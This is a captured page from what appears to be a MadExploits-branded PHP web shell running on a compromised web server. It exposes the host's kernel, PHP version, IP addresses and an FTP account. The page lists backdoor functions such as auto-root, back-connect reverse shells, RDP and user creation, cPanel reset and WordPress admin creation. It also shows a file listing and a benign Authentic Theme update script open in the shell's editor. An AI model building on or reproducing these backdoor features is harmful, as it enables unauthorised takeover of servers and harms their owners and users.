Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
authentic-theme /
[ HOME SHELL ]
Name
Size
Permission
Action
extensions
[ DIR ]
drwxr-xr-x
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
unauthenticated
[ DIR ]
drwxr-xr-x
401.cgi
339
B
-rwxr-xr-x
403.cgi
339
B
-rwxr-xr-x
404.cgi
339
B
-rwxr-xr-x
FUNDING.yml
103
B
-rw-r--r--
LICENSE
1.04
KB
-rw-r--r--
THEME.pgp
3.04
KB
-rw-r--r--
authentic-funcs.pl
26.33
KB
-rw-r--r--
authentic-init.pl
63.24
KB
-rw-r--r--
authentic-lib.pl
100.1
KB
-rw-r--r--
authentic.pl
49.24
KB
-rw-r--r--
config
139
B
-rw-r--r--
config.cgi
6.52
KB
-rwxr-xr-x
config_save.cgi
2.14
KB
-rwxr-xr-x
index.cgi
306
B
-rwxr-xr-x
manifest-usermin.json
998
B
-rw-r--r--
manifest.template
920
B
-rw-r--r--
mconfig.cgi
6.57
KB
-rwxr-xr-x
mconfig_save.cgi
1.69
KB
-rwxr-xr-x
navigation-lib.pl
54.13
KB
-rw-r--r--
pam_login.cgi
6.23
KB
-rwxr-xr-x
password_form.cgi
4.07
KB
-rwxr-xr-x
postinstall-usermin.pl
264
B
-rwxr-xr-x
postinstall.pl
645
B
-rwxr-xr-x
service-worker.js
141
B
-rw-r--r--
session_login.cgi
8.12
KB
-rwxr-xr-x
settings-backgrounds.cgi
3.61
KB
-rwxr-xr-x
settings-backgrounds_save.cgi
1.16
KB
-rwxr-xr-x
settings-editor_favorites_read...
894
B
-rwxr-xr-x
settings-editor_favorites_writ...
571
B
-rwxr-xr-x
settings-editor_read.cgi
2.4
KB
-rwxr-xr-x
settings-editor_write.cgi
967
B
-rwxr-xr-x
settings-favorites_save.cgi
629
B
-rwxr-xr-x
settings-lib.pl
651
B
-rw-r--r--
settings-logos.cgi
4.61
KB
-rwxr-xr-x
settings-logos_save.cgi
1.75
KB
-rwxr-xr-x
stats.cgi
8.37
KB
-rwxr-xr-x
sysinfo.cgi
6.44
KB
-rwxr-xr-x
tconfig-lib.pl
33.02
KB
-rw-r--r--
tconfig.cgi
6.09
KB
-rwxr-xr-x
theme-update.sh
8.08
KB
-rwxr-xr-x
theme.info
342
B
-rw-r--r--
theme.info.no
24
B
-rw-r--r--
uconfig.cgi
6.27
KB
-rwxr-xr-x
uconfig_save.cgi
1.99
KB
-rwxr-xr-x
uninstall-usermin.pl
170
B
-rwxr-xr-x
uninstall.pl
346
B
-rwxr-xr-x
xhr-lib.pl
10.22
KB
-rw-r--r--
xhr.cgi
349
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : theme-update.sh
#!/usr/bin/env bash ######################################################### # Update Authentic Theme to the latest from GitHub repo # ######################################################### # Get parent dir based on script's location DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" DIR="$(echo "$DIR" | sed 's/\/authentic-theme.*//g')" PROD=${DIR##*/} GIT="git" CURL="curl" CURLTIMEOUT=5 GHAPIURL="https://api.github.com" REPO="authentic-theme/authentic-theme" PARAMS="$*" if [[ "$1" == "-h" || "$1" == "-help" || "$1" == "--help" ]]; then echo -e "\e[0m\e[49;0;33;82mAuthentic Theme\e[0m update script - updates theme to the latest development or stable (release version)" echo "Usage: ./$(basename "$0") { [-force] | [-release] | [-release:number] }" exit 0 fi # Ask user to confirm update operation unless force install requested if [[ "$PARAMS" != *"-force"* ]]; then read -p "Would you like to update Authentic Theme for "${PROD^}"? [y/N] " -n 1 -r fi echo if [[ "$PARAMS" != *"-force"* ]] && [[ ! $REPLY =~ ^[Yy]$ ]]; then echo -e "\e[49;1;35;82mOperation aborted.\e[0m" else # Require privileged user to run the script if [[ $EUID -ne 0 ]]; then echo -e "\e[49;0;31;82mError: This command has to be run under the root user.\e[0m" else if ! type ${GIT} >/dev/null 2>&1; then # Use `PATH` from Webmin `config` file if [[ -f "/etc/webmin/config" ]]; then WMCONF="/etc/webmin/config" else WMCONF=$(find /* -maxdepth 6 -name miniserv.conf 2>/dev/null | grep "${PROD}" | head -n 1) WMCONF="${WMCONF/miniserv.conf/config}" fi # Export `PATH` using Webmin `config` file directive if [[ "${WMCONF}" ]]; then WMCONFPATH=$(grep -Po '(?<=^path=).*$' "${WMCONF}") if [[ "${WMCONFPATH}" ]]; then export PATH="${PATH}:${WMCONFPATH}" fi fi fi # Clear cache if present if [ -d "$DIR/.~authentic-theme" ]; then rm -rf "$DIR/.~authentic-theme" fi # Require `git` command availability if type ${GIT} >/dev/null 2>&1; then # Try to download latest version of the update script for Webmin/Usermin if type ${CURL} >/dev/null 2>&1; then GITAPI="$GHAPIURL/repos/webmin/webmin/contents" UPDATE="update-from-repo.sh" # Get latest update script ${CURL} -s -o "$DIR"/${UPDATE} -H "Accept:application/vnd.github.v3.raw" ${GITAPI}/${UPDATE} --connect-timeout $CURLTIMEOUT if [ $? -eq 0 ]; then chmod +x "$DIR"/${UPDATE} fi else echo -e "\e[49;0;33;82mError: Command \`curl\` is not installed or not in the \`PATH\`.\e[0m" exit fi # Pull latest changes if [[ "$PARAMS" == *"-release"* ]]; then if [[ "$PARAMS" == *":"* ]] && [[ "$PARAMS" != *"latest"* ]]; then RRELEASE=${1##*:} PRRELEASE="--branch ${RRELEASE} --quiet" PRRELEASETAG=${1##*:} else if type ${CURL} >/dev/null 2>&1; then PULL_URL="$GHAPIURL/repos/$REPO/releases/latest" FRS=$($CURL -s $PULL_URL --connect-timeout $CURLTIMEOUT) if [[ $FRS == *"Moved Permanently"* ]]; then PULL_URL=$(echo $FRS | perl -n -e 'm{\"url\":\s*\"(https://.*?)$\"};print $1;') if [ -z "${PULL_URL}" ]; then echo -e "\e[49;0;33;82mError: Authentic Theme repo has been moved permanently, however, a new URL cannot be parsed.\e[0m" exit fi VERSION=$($CURL -s $PULL_URL --connect-timeout $CURLTIMEOUT | grep tag_name | head -n 1) else VERSION=$(echo "$FRS" | grep tag_name | head -n 1) fi [[ $VERSION =~ [0-9]+\.[0-9]+|[0-9]+\.[0-9]+\.[0-9]+ ]] PRRELEASE="--branch ${BASH_REMATCH[0]} --quiet" PRRELEASETAG=${BASH_REMATCH[0]} else echo -e "\e[49;0;33;82mError: Command \`curl\` is not installed or not in the \`PATH\`.\e[0m" exit fi fi echo -e "\e[49;1;34;182mPulling in latest release of\e[0m \e[49;1;37;182mAuthentic Theme\e[0m $PRRELEASETAG (https://github.com/$REPO)..." RS="$(${GIT} clone --depth 1 $PRRELEASE https://github.com/$REPO.git "$DIR/.~authentic-theme" 2>&1)" if [[ "$RS" == *"ould not find remote branch"* ]]; then ERROR="Release ${RRELEASE} doesn't exist. " fi else echo -e "\e[49;1;34;182mPulling in latest changes for\e[0m \e[49;1;37;182mAuthentic Theme\e[0m (https://github.com/$REPO)..." ${GIT} clone --depth 1 --quiet https://github.com/$REPO.git "$DIR/.~authentic-theme" fi # Check version compatibility if [ -z "${WEBMIN_CONFIG}" ]; then DVER=$(grep -Po '(?<=^depends=).*$' "$DIR/.~authentic-theme/theme.info" 2>&1) TVER=$(grep -Po '(?<=^version=).*$' "$DIR/.~authentic-theme/theme.info" 2>&1) GRPERR=$? PVER=$(head -n 1 "$DIR"/version) RVER=$(echo "$DVER" | cut -d ' ' -f 1) if [ $PROD == "usermin" ]; then if [ ${#TVER} -ge "8" ]; then RVER=$(echo "$DVER" | cut -d ' ' -f 2) else RVER=0 fi fi # Check if latest Git dev version of Webmin/Usermin installed LATESTDEV=$(find "$DIR/version" -mmin -60) if [ ! -z $LATESTDEV ]; then RVER=0 fi # Generate a warning if latest, required patches from Git are not installed if [ $GRPERR -eq 0 ]; then if [[ $RVER > $PVER ]]; then echo -e " \e[47;1;31;82mWarning!\e[0m Installing this version of \e[49;1;37;182mAuthentic Theme\e[0m \e[49;32m"${TVER^}"\e[0m requires latest and/or possibly unreleased version of \e[49;1;37;182m"${PROD^}"\e[0m to work properly. Your current version of \e[49;1;37;182m"${PROD^}"\e[0m is \e[49;33m"${PVER^}"\e[0m. There might be incompatible changes, that could stop the theme from working as designed. It is recommended to upgrade \e[49;1;37;182m"${PROD^}"\e[0m to the latest development version, by running first \e[3m\`update-from-repo.sh\`\e[0m script from \e[3m\`"$DIR"\`\e[0m directory. This is strongly \e[3mnot advised\e[0m for any production system!" if [[ "$PARAMS" != *"-force"* ]]; then read -p "Do you want to continue to force install the theme anyway? [y/N] " -n 1 -r fi echo if [[ "$PARAMS" == *"-force"* ]] || [[ ! $REPLY =~ ^[Yy]$ ]]; then rm -rf "$DIR/.~authentic-theme" if [[ "$PARAMS" == *"-force"* ]]; then echo -e "\e[49;1;35;82mOperation aborted. Can not update to incompatible version in force mode.\e[0m" else echo -e "\e[49;1;35;82mOperation aborted.\e[0m" fi exit fi fi fi fi # Checking for possible errors if [ $? -eq 0 ] && [ -f "$DIR/.~authentic-theme/theme.info" ]; then # Post successful commands cp -P "$DIR/authentic-theme/manifest"-* "$DIR/.~authentic-theme/" rm -rf "$DIR/authentic-theme"/* mv "$DIR/.~authentic-theme"/* "$DIR/authentic-theme/" rm -rf "$DIR/.~authentic-theme" # Local clear rm -f "$DIR/authentic-theme/README.md" find "$DIR/authentic-theme/" -name "*.src*" -delete TVER=$(grep -Po '(?<=^version=).*$' "$DIR/authentic-theme/theme.info" 2>&1) if [ $? -eq 0 ]; then echo -e "\e[49;32mUpdating to Authentic Theme $TVER, done.\e[0m" else echo -e "\e[49;32mUpdating to the latest Authentic Theme, done.\e[0m" fi # Restart Webmin/Usermin in case it's running if [ "$2" != "-no-restart" ]; then if ps aux | grep -v grep | grep "$PROD"/miniserv.pl >/dev/null; then echo -e "\e[49;3;37;182mRestarting "${PROD^}"..\e[0m" service "$PROD" restart >/dev/null 2>&1 fi fi else # Post fail commands rm -rf "$DIR/.~authentic-theme" echo -e "\e[49;0;31;82m${ERROR}Updating Authentic Theme, failed.\e[0m" fi else echo -e "\e[49;0;33;82mError: Command \`git\` is not installed or not in the \`PATH\`.\e[0m" fi fi fi
Close